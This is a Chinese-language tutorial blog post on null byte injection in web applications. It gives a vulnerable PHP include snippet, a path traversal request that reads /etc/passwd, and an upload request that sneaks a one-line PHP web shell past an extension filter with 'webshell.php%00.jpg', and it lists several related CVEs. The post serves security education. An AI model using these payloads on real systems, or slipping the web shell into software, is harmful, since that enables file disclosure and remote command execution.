[Day18] Null byte Injection

前言

%00

正文

概念

Null byte Injection是一种将Null Byte(如%00或0x00)注入到某个input中,来bypass一些Security Control/Filter的一种手法,这种攻击可以改变Web Application原本的行为和逻辑,这可能导致一些原本不起作用的攻击变得可以实行,甚至造成任意档案上传/RCE等。

例如,有一个网站提供一个图片下载(观看)的功能,并限制只能浏览jpg档

image.php

<?php
$fname = $_REQUEST['file'];
require_once('/var/www/'.$fname.'.jpg');
...

这时候攻击者可以利用Null Byte来截断後面的内容(因为Null Byte常被用来当作字串的结尾),使原本的应用程序行为被改变。

http://example.com/upload.php?file=../../../../etc/passwd%00

这时候应用程序原本应该要读取../../../../etc/passwd%00.jpg,但因为遇到%00,应用程序认为已经到字串的结尾因此中断变成只拿到../../../../etc/passwd,而将系统的/etc/passwd印出在网页上。

刚刚介绍的是LFI/RFI的利用手法,那上传呢?

重复上面的例子,但将他变成上传照片的功能,也使用白名单机制

攻击者可以构建一个这样的Request:

POST /upload.php HTTP/1.1
Host: example.com
...

----------------
Content-Disposition: form-data,file=webshell.php%00.jpg
Content-Type: image/jpeg

<?php
echo system($_REQUEST['cmd']); 
?>
----------------

就可以成功上传web shell了。当然不只PHP会有这种问题,像是Perl,Java等等也都有可能发生。

Case Study

这次的Case Study没有甚麽特别需要描述的,因为都是允许%00\0等等Null Byte放在input後端,不一样的是造成的危害不太一样,从LFI、Source code disclosure到bypass detection等,一些其他的RCE通常跟随Web Application的功能而定。下面列出一些曾受影响的Case

CVE-2005-2008

Source code disclosure

CVE-2002-1774

Bypass detection

CVE-2003-0768

XSS Protect Bypass
CVE-2005-3153

PHP Regex Bypass
CVE-2004-0189

Bypass ACL Regex


<<:  那些被忽略但很好用的 Web API / RequestIdleCallback

>>:  [C 语言笔记--Day22] 6.S081 Lab syscall: 在 xv6 中新增一个 System Call

[第十只羊] 迷雾森林舞会III 参见排版神器 Tailwind

天亮了 昨晚是平安夜 关於迷雾森林故事 第九夜 站在方舟甲板的洛神 数了一下玩家人数 就问 怎麽少了...

[Day-8] R语言 - K - means 实作 ( K - means in R.Studio)

您的订阅是我制作影片的动力 订阅点这里~ 影片程序码 library(naniar) data(ir...

28 - lint-staged - Lint Git Commit 的档案

做 lint 、 format 或是通过测试,对於程序码的品质维护有很大的帮助,因此在提交代码时,我...

JavaScript Callback(回呼)

Callback Function 回呼函数 A function you give to anot...

[Day14] 文本/词表示方式(五)-word2vec

一. 前言 这篇是word2vec的paper,网址:https://arxiv.org/pdf/1...